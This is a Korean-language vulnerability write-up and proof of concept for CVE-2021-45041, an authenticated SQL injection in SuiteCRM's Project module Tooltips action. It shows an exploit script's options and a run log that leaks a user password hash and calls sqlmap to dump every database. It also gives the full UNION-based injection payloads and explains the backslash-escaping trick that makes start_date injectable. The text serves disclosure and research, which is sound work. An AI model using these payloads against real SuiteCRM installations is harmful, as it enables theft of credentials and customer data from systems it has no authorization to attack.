
CVE-2021-45041용 PoC
CVE-2021-45041에 대한 PoC, 일명 SCRMBT-#177 - Authenticated SQL-Injection in SuiteCRM <= 8.0
옵션:
(.venv) ➜ CVE-2021-45041 git:(main) ./exploit.py --help
Usage: exploit.py [OPTIONS]
Options:
-h, --host TEXT Root of SuiteCRM installation. Defaults to
http://localhost
-u, --username TEXT Username
-p, --password TEXT password
-c, --col_count INTEGER Number of columns to use in union query. Defaults
to 44
-d, --dbms TEXT DBMs used by SuiteCRM. Defaults to mysql
-d, --is_core BOOLEAN SuiteCRM Core (>= 8.0.0). Defaults to False
--help Show this message and exit.
https://github.com/manuelz120/CVE-2021-45041
사용 예시:
(.venv) ➜ CVE-2021-45041 git:(main) ✗ ./exploit.py --host http://localhost --username user --password ******
INFO:CVE-2021-45041:Login did work - Trying to leak user hash to check if SuiteCRM is vulnerable
INFO:CVE-2021-45041:Received the following hash: $2y$10$WTN2aqQOyHUWxBjubqvYrukTOOE.rrfmE4SoogFbv4kc9dXu7vZzq
INFO:CVE-2021-45041:If this doesn't look like a password hash, the exploit might not work correctly
INFO:CVE-2021-45041:Launching sqlmap against target to get full DB dump
INFO:CVE-2021-45041:sqlmap -u 'http://localhost/index.php?module=Project&action=Tooltips&resource_id=test%5C&start_date=%29+*' --headers 'Cookie: PHPSESSID=93b4g4bfd3ak199iiiands8cv8; sugar_user_theme=SuiteP' --technique U --dbms mysql --union-cols=44 --batch --dump-all
___
__H__
___ ___[.]_____ ___ ___ {1.5.12#pip}
|_ -| . [)] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 21:42:51 /2021-12-27/
custom injection marker ('*') found in option '-u'. Do you want to process it? [Y/n/q] Y
[21:42:51] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: #1* (URI)
Type: UNION query
Title: Generic UNION query (NULL) - 44 columns (custom)
Payload: http://localhost:80/index.php?module=Project&action=Tooltips&resource_id=test\&start_date=-8702) UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x717a6a7a71,0x52736356547967794948526b714b71584c55516679466d45537956795a546d664d74516d54644f41,0x716b767171),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---
[21:42:52] [INFO] testing MySQL
[21:42:52] [INFO] confirming MySQL
you provided a HTTP Cookie header value, while target URL provides its own cookies within HTTP Set-Cookie header which intersect with yours. Do you want to merge them in further requests? [Y/n] Y
[21:42:52] [INFO] the back-end DBMS is MySQL
web application technology: Apache 2.4.51
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[21:42:52] [INFO] sqlmap will dump entries of all tables from all databases now
[21:42:52] [INFO] fetching database names
...
저는 최근 SuiteCRM에서 인증된 SQL 인젝션을 발견했습니다. 8.0 및 7.12.1 버전에서 이 취약점을 확인할 수 있었습니다. 이 취약점은 Project 모듈의 Tooltips 액션에 위치합니다. 기본 설치에서 모든 사용자는 다음 URL에 접근하여 이 액션을 호출할 수 있습니다(8 버전의 경우 /legacy 접두사를 추가하세요):
/index.php?module=Project&action=Tooltips&resource_id=test&start_date=test
해당 액션의 구현을 살펴보면 (https://github.com/salesagility/SuiteCRM-Core/blob/v8.0.0/public/legacy/modules/Project/controller.php#L485-L513 참조) 값들이 추가적인 검증 없이 $_REQUEST에서 직접 가져와진 후 쿼리의 where 절에서 사용되는 것을 확인할 수 있습니다.

HTML 엔티티 인코딩 때문에 작은따옴표를 사용할 수는 없지만, 여러 주입 지점이 존재하므로 여전히 악용 가능합니다. resource_id를 백슬래시(\) 문자로 끝나도록 지정하면 뒤따르는 작은따옴표가 이스케이프되고, 문자열은 BETWEEN 키워드 뒤의 작은따옴표에서만 종료됩니다. 즉, 클라이언트가 start_date로 전송하는 모든 것은 일반 SQL로 처리되며 SQL 인젝션 공격을 수행하는 데 사용될 수 있습니다.
다음은 사용자의 비밀번호 해시를 유출하는 최소 PoC입니다:
버전 7.12.1:
버전 8.0:
URL 디코딩 버전:
module=Project&action=Tooltips&resource_id=test\&start_date=) UNION SELECT 0, 1, 2, 3, 4, (SELECT user_hash from users limit 1), 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43 from dual; #

제 보고 직후, 다음 수정 사항을 포함한 새로운 SuiteCRM 버전(7.12.2 및 8.0.1)이 릴리스되었습니다: